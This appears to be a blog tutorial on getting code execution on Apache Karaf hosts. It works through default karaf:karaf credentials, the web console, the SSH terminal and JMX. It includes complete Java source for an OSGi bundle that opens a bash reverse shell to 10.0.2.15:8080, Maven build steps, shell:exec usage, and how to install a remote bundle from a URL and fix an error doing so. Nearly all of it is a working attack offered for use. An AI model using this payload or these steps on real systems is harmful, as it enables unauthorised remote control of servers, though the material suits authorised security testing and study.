Intro
Apache Karaf is an application runtime that provides similar functionality to things like Docker, Kubernetes, and CloudFoundry. Developers can create their application in a number of supported formats, such as WAR, Spring, and OSGi.
In this blog, I will cover a few ways for gaining code execution on the host running Karaf.
Follow Along
If you want to follow along, you can download the binary release here: download. Make sure you have an appropriate version of Java installed. Once downloaded, simply invoke Karaf from the root of the unzipped directory:
./bin/karaf
Web Console
Karaf has an optional web console feature that allows for GUI based management. By default, this console:
binds to port 8181
has the credentials karaf:karaf
has the main path of /system/console
the root (“/”) will return a 403
To enable the web console from the Karaf shell, run
feature:install webconsole
Once in the console, you can deploy a malicious application. For this post, I will be deploying an OSGi application that will establish a simple reverse shell via bash.
Now, my Java skills are not particularly good, but this blog by Michael Rice provided a decent foundation for crafting the bundle. Essentially, you need a Java class that implements the OSGi BundleActivator class and has a start and stop method. The start method will be called when Karaf starts the bundle. Michael also provied an example bundle, which I used to create my exploit code. My code for the activator class:
package com.demo.exec;
import org.osgi.framework.BundleActivator;
import org.osgi.framework.BundleContext;
import java.lang.*;
public class ExecActivator implements BundleActivator {
@Override
public void start(BundleContext bundleContext) throws Exception {
System.out.println("STARTING");
ProcessBuilder pb = new ProcessBuilder("/bin/bash","-c","exec 5<>/dev/tcp/10.0.2.15/8080;cat <&5 | while read line; do $line 2>&5 >&5; done");
Process proc = pb.start();
}
@Override
public void stop(BundleContext bundleContext) throws Exception {
System.out.println("STOPPING");
}
}
For those of you familiar with pentestmonkey, you’ll recognize line 12 immediately as it is the Java reverse shell found on the reverse shell cheat sheet.
Once you finalize the code, create the bundle using Maven:
mvn install
then upload it to the console
You can optionally set the “start bundle” option when uploading. This will auto-start the bundle once uploaded.
If all goes well, you will get a callback for the reverse shell.
Remote Terminal
Karaf can also serve a remote terminal accessible via SSH. By default, this terminal:
binds to port 8101
is enabled
has the credentials karaf:karaf
As with the console, we can achieve code execution on the host by uploading a bundle. However, there is a much easier route. Using the shell command, we can execute commands directly from the console. The syntax is:
shell:exec <command>
RMI
Karaf also has a JMX MBean Server. Unfortunately, this is only bound to the localhost by default. However, if you encounter an instance where it is accessible remotely, you can perform the above deployment exploits, among other things. Typically, these JMX servers will use port 1099.
To exploit, first connect using Jconsole. Then, navigate to the MBeans menu -> org.apache.karaf -> bundle -> Operations -> install (the version with one parameter). In the parameter field, put the URL to the bundle (e.g. http://10.0.0.1/bundle.jar) then run the method. Next, go to the start operation, enter your bundle name in the parameter field, then run the method.
Another reverse shell should now be established! One thing to note is that Karaf will sometimes throw an error like:
Error executing command: Error installing bundles:
Unable to install bundle http://10.0.0.1/bundle.jar: org.osgi.framework.BundleException: OSGi R3 bundle not supported
A simple fix I found to work was to add the following line to the manifest file:
Bundle-ManifestVersion: 2